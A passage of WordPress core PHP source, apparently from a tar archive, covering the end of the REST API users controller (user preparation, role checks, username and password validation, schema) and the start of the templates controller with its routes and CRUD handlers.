		if ( isset( $request['username'] ) && ! empty( $schema['properties']['username'] ) ) {
			$prepared_user->user_login = $request['username'];
		}

		if ( isset( $request['password'] ) && ! empty( $schema['properties']['password'] ) ) {
			$prepared_user->user_pass = $request['password'];
		}

		// Optional arguments.
		if ( isset( $request['id'] ) ) {
			$prepared_user->ID = absint( $request['id'] );
		}

		if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
			$prepared_user->display_name = $request['name'];
		}

		if ( isset( $request['first_name'] ) && ! empty( $schema['properties']['first_name'] ) ) {
			$prepared_user->first_name = $request['first_name'];
		}

		if ( isset( $request['last_name'] ) && ! empty( $schema['properties']['last_name'] ) ) {
			$prepared_user->last_name = $request['last_name'];
		}

		if ( isset( $request['nickname'] ) && ! empty( $schema['properties']['nickname'] ) ) {
			$prepared_user->nickname = $request['nickname'];
		}

		if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) {
			$prepared_user->user_nicename = $request['slug'];
		}

		if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) {
			$prepared_user->description = $request['description'];
		}

		if ( isset( $request['url'] ) && ! empty( $schema['properties']['url'] ) ) {
			$prepared_user->user_url = $request['url'];
		}

		if ( isset( $request['locale'] ) && ! empty( $schema['properties']['locale'] ) ) {
			$prepared_user->locale = $request['locale'];
		}

		// Setting roles will be handled outside of this function.
		if ( isset( $request['roles'] ) ) {
			$prepared_user->role = false;
		}

		/**
		 * Filters user data before insertion via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param object          $prepared_user User object.
		 * @param WP_REST_Request $request       Request object.
		 */
		return apply_filters( 'rest_pre_insert_user', $prepared_user, $request );
	}

	/**
	 * Determines if the current user is allowed to make the desired roles change.
	 *
	 * @since 4.7.0
	 *
	 * @global WP_Roles $wp_roles WordPress role management object.
	 *
	 * @param int   $user_id User ID.
	 * @param array $roles   New user roles.
	 * @return true|WP_Error True if the current user is allowed to make the role change,
	 *                       otherwise a WP_Error object.
	 */
	protected function check_role_update( $user_id, $roles ) {
		global $wp_roles;

		foreach ( $roles as $role ) {

			if ( ! isset( $wp_roles->role_objects[ $role ] ) ) {
				return new WP_Error(
					'rest_user_invalid_role',
					/* translators: %s: Role key. */
					sprintf( __( 'The role %s does not exist.' ), $role ),
					array( 'status' => 400 )
				);
			}

			$potential_role = $wp_roles->role_objects[ $role ];

			/*
			 * Don't let anyone with 'edit_users' (admins) edit their own role to something without it.
			 * Multisite super admins can freely edit their blog roles -- they possess all caps.
			 */
			if ( ! ( is_multisite()
				&& current_user_can( 'manage_sites' ) )
				&& get_current_user_id() === $user_id
				&& ! $potential_role->has_cap( 'edit_users' )
			) {
				return new WP_Error(
					'rest_user_invalid_role',
					__( 'Sorry, you are not allowed to give users that role.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}

			// Include user admin functions to get access to get_editable_roles().
			require_once ABSPATH . 'wp-admin/includes/user.php';

			// The new role must be editable by the logged-in user.
			$editable_roles = get_editable_roles();

			if ( empty( $editable_roles[ $role ] ) ) {
				return new WP_Error(
					'rest_user_invalid_role',
					__( 'Sorry, you are not allowed to give users that role.' ),
					array( 'status' => 403 )
				);
			}
		}

		return true;
	}

	/**
	 * Check a username for the REST API.
	 *
	 * Performs a couple of checks like edit_user() in wp-admin/includes/user.php.
	 *
	 * @since 4.7.0
	 *
	 * @param string          $value   The username submitted in the request.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return string|WP_Error The sanitized username, if valid, otherwise an error.
	 */
	public function check_username( $value, $request, $param ) {
		$username = (string) $value;

		if ( ! validate_username( $username ) ) {
			return new WP_Error(
				'rest_user_invalid_username',
				__( 'This username is invalid because it uses illegal characters. Please enter a valid username.' ),
				array( 'status' => 400 )
			);
		}

		/** This filter is documented in wp-includes/user.php */
		$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );

		if ( in_array( strtolower( $username ), array_map( 'strtolower', $illegal_logins ), true ) ) {
			return new WP_Error(
				'rest_user_invalid_username',
				__( 'Sorry, that username is not allowed.' ),
				array( 'status' => 400 )
			);
		}

		return $username;
	}

	/**
	 * Check a user password for the REST API.
	 *
	 * Performs a couple of checks like edit_user() in wp-admin/includes/user.php.
	 *
	 * @since 4.7.0
	 *
	 * @param string          $value   The password submitted in the request.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return string|WP_Error The sanitized password, if valid, otherwise an error.
	 */
	public function check_user_password(
		#[\SensitiveParameter]
		$value,
		$request,
		$param
	) {
		$password = (string) $value;

		if ( empty( $password ) ) {
			return new WP_Error(
				'rest_user_invalid_password',
				__( 'Passwords cannot be empty.' ),
				array( 'status' => 400 )
			);
		}

		if ( str_contains( $password, '\\' ) ) {
			return new WP_Error(
				'rest_user_invalid_password',
				sprintf(
					/* translators: %s: The '\' character. */
					__( 'Passwords cannot contain the "%s" character.' ),
					'\\'
				),
				array( 'status' => 400 )
			);
		}

		return $password;
	}

	/**
	 * Retrieves the user's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'user',
			'type'       => 'object',
			'properties' => array(
				'id'                 => array(
					'description' => __( 'Unique identifier for the user.' ),
					'type'        => 'integer',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'username'           => array(
					'description' => __( 'Login name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'required'    => true,
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'check_username' ),
					),
				),
				'name'               => array(
					'description' => __( 'Display name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'first_name'         => array(
					'description' => __( 'First name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'last_name'          => array(
					'description' => __( 'Last name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'email'              => array(
					'description' => __( 'The email address for the user.' ),
					'type'        => 'string',
					'format'      => 'email',
					'context'     => array( 'edit' ),
					'required'    => true,
				),
				'url'                => array(
					'description' => __( 'URL of the user.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'description'        => array(
					'description' => __( 'Description of the user.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'link'               => array(
					'description' => __( 'Author URL of the user.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'locale'             => array(
					'description' => __( 'Locale for the user.' ),
					'type'        => 'string',
					'enum'        => array_merge( array( '', 'en_US' ), get_available_languages() ),
					'context'     => array( 'edit' ),
				),
				'nickname'           => array(
					'description' => __( 'The nickname for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'slug'               => array(
					'description' => __( 'An alphanumeric identifier for the user.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'sanitize_slug' ),
					),
				),
				'registered_date'    => array(
					'description' => __( 'Registration date for the user.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'roles'              => array(
					'description' => __( 'Roles assigned to the user.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'edit' ),
				),
				'password'           => array(
					'description' => __( 'Password for the user (never included).' ),
					'type'        => 'string',
					'context'     => array(), // Password is never displayed.
					'required'    => true,
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'check_user_password' ),
					),
				),
				'capabilities'       => array(
					'description' => __( 'All capabilities assigned to the user.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'extra_capabilities' => array(
					'description' => __( 'Any extra capabilities assigned to the user.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
			),
		);

		if ( get_option( 'show_avatars' ) ) {
			$avatar_properties = array();

			$avatar_sizes = rest_get_avatar_sizes();

			foreach ( $avatar_sizes as $size ) {
				$avatar_properties[ $size ] = array(
					/* translators: %d: Avatar image size in pixels. */
					'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
				);
			}

			$schema['properties']['avatar_urls'] = array(
				'description' => __( 'Avatar URLs for the user.' ),
				'type'        => 'object',
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
				'properties'  => $avatar_properties,
			);
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'default'     => 'asc',
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'enum'        => array( 'asc', 'desc' ),
			'type'        => 'string',
		);

		$query_params['orderby'] = array(
			'default'     => 'name',
			'description' => __( 'Sort collection by user attribute.' ),
			'enum'        => array(
				'id',
				'include',
				'name',
				'registered_date',
				'slug',
				'include_slugs',
				'email',
				'url',
			),
			'type'        => 'string',
		);

		$query_params['slug'] = array(
			'description' => __( 'Limit result set to users with one or more specific slugs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		$query_params['roles'] = array(
			'description' => __( 'Limit result set to users matching at least one specific role provided. Accepts csv list or single role.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		$query_params['capabilities'] = array(
			'description' => __( 'Limit result set to users matching at least one specific capability provided. Accepts csv list or single capability.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		$query_params['who'] = array(
			'description' => __( 'Limit result set to users who are considered authors.' ),
			'type'        => 'string',
			'enum'        => array(
				'authors',
			),
		);

		$query_params['has_published_posts'] = array(
			'description' => __( 'Limit result set to users who have published posts.' ),
			'type'        => array( 'boolean', 'array' ),
			'items'       => array(
				'type' => 'string',
				'enum' => get_post_types( array( 'show_in_rest' => true ), 'names' ),
			),
		);

		$query_params['search_columns'] = array(
			'default'     => array(),
			'description' => __( 'Array of column names to be searched.' ),
			'type'        => 'array',
			'items'       => array(
				'enum' => array( 'email', 'name', 'id', 'username', 'slug' ),
				'type' => 'string',
			),
		);

		/**
		 * Filters REST API collection parameters for the users controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_User_Query parameter.  Use the
		 * `rest_user_query` filter to set WP_User_Query arguments.
		 *
		 * @since 4.7.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_user_collection_params', $query_params );
	}
}
endpoints/class-wp-rest-templates-controller.php000064400000112637151724720270016162 0ustar00<?php
/**
 * REST API: WP_REST_Templates_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Base Templates REST API Controller.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Templates_Controller extends WP_REST_Controller {

	/**
	 * Post type.
	 *
	 * @since 5.8.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Constructor.
	 *
	 * @since 5.8.0
	 *
	 * @param string $post_type Post type.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
		$obj             = get_post_type_object( $post_type );
		$this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name;
		$this->namespace = ! empty( $obj->rest_namespace ) ? $obj->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the controllers routes.
	 *
	 * @since 5.8.0
	 * @since 6.1.0 Endpoint for fallback template content.
	 */
	public function register_routes() {
		// Lists all templates.
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		// Get fallback template content.
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/lookup',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_template_fallback' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'slug'            => array(
							'description' => __( 'The slug of the template to get the fallback for' ),
							'type'        => 'string',
							'required'    => true,
						),
						'is_custom'       => array(
							'description' => __( 'Indicates if a template is custom or part of the template hierarchy' ),
							'type'        => 'boolean',
						),
						'template_prefix' => array(
							'description' => __( 'The template prefix for the created template. This is used to extract the main template type, e.g. in `taxonomy-books` extracts the `taxonomy`' ),
							'type'        => 'string',
						),
					),
				),
			)
		);

		// Lists/updates a single template based on the given id.
		register_rest_route(
			$this->namespace,
			// The route.
			sprintf(
				'/%s/(?P<id>%s%s)',
				$this->rest_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+'
			),
			array(
				'args'   => array(
					'id' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this, '_sanitize_template_id' ),
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Whether to bypass Trash and force deletion.' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Returns the fallback template for the given slug.
	 *
	 * @since 6.1.0
	 * @since 6.3.0 Ignore empty templates.
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_template_fallback( $request ) {
		$hierarchy = get_template_hierarchy( $request['slug'], $request['is_custom'], $request['template_prefix'] );

		do {
			$fallback_template = resolve_block_template( $request['slug'], $hierarchy, '' );
			array_shift( $hierarchy );
		} while ( ! empty( $hierarchy ) && empty( $fallback_template->content ) );

		// To maintain original behavior, return an empty object rather than a 404 error when no template is found.
		$response = $fallback_template ? $this->prepare_item_for_response( $fallback_template, $request ) : new stdClass();

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if the user has permissions to make the request.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	protected function permissions_check( $request ) {
		/*
		 * Verify if the current user has edit_theme_options capability.
		 * This capability is required to edit/view/delete templates.
		 */
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_manage_templates',
				__( 'Sorry, you are not allowed to access the templates on this site.' ),
				array(
					'status' => rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Requesting this endpoint for a template like 'twentytwentytwo//home'
	 * requires using a path like /wp/v2/templates/twentytwentytwo//home. There
	 * are special cases when WordPress routing corrects the name to contain
	 * only a single slash like 'twentytwentytwo/home'.
	 *
	 * This method doubles the last slash if it's not already doubled. It relies
	 * on the template ID format {theme_name}//{template_slug} and the fact that
	 * slugs cannot contain slashes.
	 *
	 * @since 5.9.0
	 * @see https://core.trac.wordpress.org/ticket/54507
	 *
	 * @param string $id Template ID.
	 * @return string Sanitized template ID.
	 */
	public function _sanitize_template_id( $id ) {
		$id = urldecode( $id );

		$last_slash_pos = strrpos( $id, '/' );
		if ( false === $last_slash_pos ) {
			return $id;
		}

		$is_double_slashed = substr( $id, $last_slash_pos - 1, 1 ) === '/';
		if ( $is_double_slashed ) {
			return $id;
		}
		return (
			substr( $id, 0, $last_slash_pos )
			. '/'
			. substr( $id, $last_slash_pos )
		);
	}

	/**
	 * Checks if a given request has access to read templates.
	 *
	 * @since 5.8.0
	 * @since 6.6.0 Allow users with edit_posts capability to read templates.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}
		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_manage_templates',
			__( 'Sorry, you are not allowed to access the templates on this site.' ),
			array(
				'status' => rest_authorization_required_code(),
			)
		);
	}

	/**
	 * Returns a list of templates.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$query = array();
		if ( isset( $request['wp_id'] ) ) {
			$query['wp_id'] = $request['wp_id'];
		}
		if ( isset( $request['area'] ) ) {
			$query['area'] = $request['area'];
		}
		if ( isset( $request['post_type'] ) ) {
			$query['post_type'] = $request['post_type'];
		}

		$templates = array();
		foreach ( get_block_templates( $query, $this->post_type ) as $template ) {
			$data        = $this->prepare_item_for_response( $template, $request );
			$templates[] = $this->prepare_response_for_collection( $data );
		}

		return rest_ensure_response( $templates );
	}

	/**
	 * Checks if a given request has access to read a single template.
	 *
	 * @since 5.8.0
	 * @since 6.6.0 Allow users with edit_posts capability to read individual templates.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}
		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_manage_templates',
			__( 'Sorry, you are not allowed to access the templates on this site.' ),
			array(
				'status' => rest_authorization_required_code(),
			)
		);
	}

	/**
	 * Returns the given template
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_item( $request ) {
		if ( isset( $request['source'] ) && ( 'theme' === $request['source'] || 'plugin' === $request['source'] ) ) {
			$template = get_block_file_template( $request['id'], $this->post_type );
		} else {
			$template = get_block_template( $request['id'], $this->post_type );
		}

		if ( ! $template ) {
			return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) );
		}

		return $this->prepare_item_for_response( $template, $request );
	}

	/**
	 * Checks if a given request has access to write a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Updates a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$template = get_block_template( $request['id'], $this->post_type );
		if ( ! $template ) {
			return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) );
		}

		$post_before = get_post( $template->wp_id );

		if ( isset( $request['source'] ) && 'theme' === $request['source'] ) {
			wp_delete_post( $template->wp_id, true );
			$request->set_param( 'context', 'edit' );

			$template = get_block_template( $request['id'], $this->post_type );
			$response = $this->prepare_item_for_response( $template, $request );

			return rest_ensure_response( $response );
		}

		$changes = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $changes ) ) {
			return $changes;
		}

		if ( 'custom' === $template->source ) {
			$update = true;
			$result = wp_update_post( wp_slash( (array) $changes ), false );
		} else {
			$update      = false;
			$post_before = null;
			$result      = wp_insert_post( wp_slash( (array) $changes ), false );
		}

		if ( is_wp_error( $result ) ) {
			if ( 'db_update_error' === $result->get_error_code() ) {
				$result->add_data( array( 'status' => 500 ) );
			} else {
				$result->add_data( array( 'status' => 400 ) );
			}
			return $result;
		}

		$template      = get_block_template( $request['id'], $this->post_type );
		$fields_update = $this->update_additional_fields_for_object( $template, $request );
		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		$post = get_post( $template->wp_id );
		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, false );

		wp_after_insert_post( $post, $update, $post_before );

		$response = $this->prepare_item_for_response( $template, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to create a template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Creates a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$prepared_post = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_post ) ) {
			return $prepared_post;
		}

		$prepared_post->post_name = $request['slug'];
		$post_id                  = wp_insert_post( wp_slash( (array) $prepared_post ), true );
		if ( is_wp_error( $post_id ) ) {
			if ( 'db_insert_error' === $post_id->get_error_code() ) {
				$post_id->add_data( array( 'status' => 500 ) );
			} else {
				$post_id->add_data( array( 'status' => 400 ) );
			}

			return $post_id;
		}
		$posts = get_block_templates( array( 'wp_id' => $post_id ), $this->post_type );
		if ( ! count( $posts ) ) {
			return new WP_Error( 'rest_template_insert_error', __( 'No templates exist with that id.' ), array( 'status' => 400 ) );
		}
		$id            = $posts[0]->id;
		$post          = get_post( $post_id );
		$template      = get_block_template( $id, $this->post_type );
		$fields_update = $this->update_additional_fields_for_object( $template, $request );
		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, true );

		wp_after_insert_post( $post, false, null );

		$response = $this->prepare_item_for_response( $template, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $template->id ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to delete a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has delete access for the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Deletes a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$template = get_block_template( $request['id'], $this->post_type );
		if ( ! $template ) {
			return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) );
		}
		if ( 'custom' !== $template->source ) {
			return new WP_Error( 'rest_invalid_template', __( 'Templates based on theme files can\'t be removed.' ), array( 'status' => 400 ) );
		}

		$id    = $template->wp_id;
		$force = (bool) $request['force'];

		$request->set_param( 'context', 'edit' );

		// If we're forcing, then delete permanently.
		if ( $force ) {
			$previous = $this->prepare_item_for_response( $template, $request );
			$result   = wp_delete_post( $id, true );
			$response = new WP_REST_Response();
			$response->set_data(
				array(
					'deleted'  => true,
					'previous' => $previous->get_data(),
				)
			);
		} else {
			// Otherwise, only trash if we haven't already.
			if ( 'trash' === $template->status ) {
				return new WP_Error(
					'rest_template_already_trashed',
					__( 'The template has already been deleted.' ),
					array( 'status' => 410 )
				);
			}

			/*
			 * (Note that internally this falls through to `wp_delete_post()`
			 * if the Trash is disabled.)
			 */
			$result           = wp_trash_post( $id );
			$template->status = 'trash';
			$response         = $this->prepare_item_for_response( $template, $request );
		}

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The template cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		return $response;
	}

	/**
	 * Prepares a single template for create or update.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Changes to pass to wp_update_post.
	 */
	protected function prepare_item_for_database( $request ) {
		$template = $request['id'] ? get_block_template( $request['id'], $this->post_type ) : null;
		$changes  = new stdClass();
		if ( null === $template ) {
			$changes->post_type   = $this->post_type;
			$changes->post_status = 'publish';
			$changes->tax_input   = array(
				'wp_theme' => isset( $request['theme'] ) ? $request['theme'] : get_stylesheet(),
			);
		} elseif ( 'custom' !== $template->source ) {
			$changes->post_name   = $template->slug;
			$changes->post_type   = $this->post_type;
			$changes->post_status = 'publish';
			$changes->tax_input   = array(
				'wp_theme' => $template->theme,
			);
			$changes->meta_input  = array(
				'origin' => $template->source,
			);
		} else {
			$changes->post_name   = $template->slug;
			$changes->ID          = $template->wp_id;
			$changes->post_status = 'publish';
		}
		if ( isset( $request['content'] ) ) {
			if ( is_string( $request['content'] ) ) {
				$changes->post_content = $request['content'];
			} elseif ( isset( $request['content']['raw'] ) ) {
				$changes->post_content = $request['content']['raw'];
			}
		} elseif ( null !== $template && 'custom' !== $template->source ) {
			$changes->post_content = $template->content;
		}
		if ( isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$changes->post_title = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$changes->post_title = $request['title']['raw'];
			}
		} elseif ( null !== $template && 'custom' !== $template->source ) {
			$changes->post_title = $template->title;
		}
		if ( isset( $request['description'] ) ) {
			$changes->post_excerpt = $request['description'];
		} elseif ( null !== $template && 'custom' !== $template->source ) {
			$changes->post_excerpt = $template->description;
		}

		if ( 'wp_template' === $this->post_type && isset( $request['is_wp_suggestion'] ) ) {
			$changes->meta_input     = wp_parse_args(
				array(
					'is_wp_suggestion' => $request['is_wp_suggestion'],
				),
				$changes->meta_input = array()
			);
		}

		if ( 'wp_template_part' === $this->post_type ) {
			if ( isset( $request['area'] ) ) {
				$changes->tax_input['wp_template_part_area'] = _filter_block_template_part_area( $request['area'] );
			} elseif ( null !== $template && 'custom' !== $template->source && $template->area ) {
				$changes->tax_input['wp_template_part_area'] = _filter_block_template_part_area( $template->area );
			} elseif ( empty( $template->area ) ) {
				$changes->tax_input['wp_template_part_area'] = WP_TEMPLATE_PART_AREA_UNCATEGORIZED;
			}
		}

		if ( ! empty( $request['author'] ) ) {
			$post_author = (int) $request['author'];

			if ( get_current_user_id() !== $post_author ) {
				$user_obj = get_userdata( $post_author );

				if ( ! $user_obj ) {
					return new WP_Error(
						'rest_invalid_author',
						__( 'Invalid author ID.' ),
						array( 'status' => 400 )
					);
				}
			}

			$changes->post_author = $post_author;
		}

		/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		return apply_filters( "rest_pre_insert_{$this->post_type}", $changes, $request );
	}

	/**
	 * Prepare a single template output for response
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Renamed `$template` to `$item` to match parent class for PHP 8 named parameter support.
	 * @since 6.3.0 Added `modified` property to the response.
	 *
	 * @param WP_Block_Template $item    Template instance.
	 * @param WP_REST_Request   $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			return new WP_REST_Response( array() );
		}

		/*
		 * Resolve pattern blocks so they don't need to be resolved client-side
		 * in the editor, improving performance.
		 */
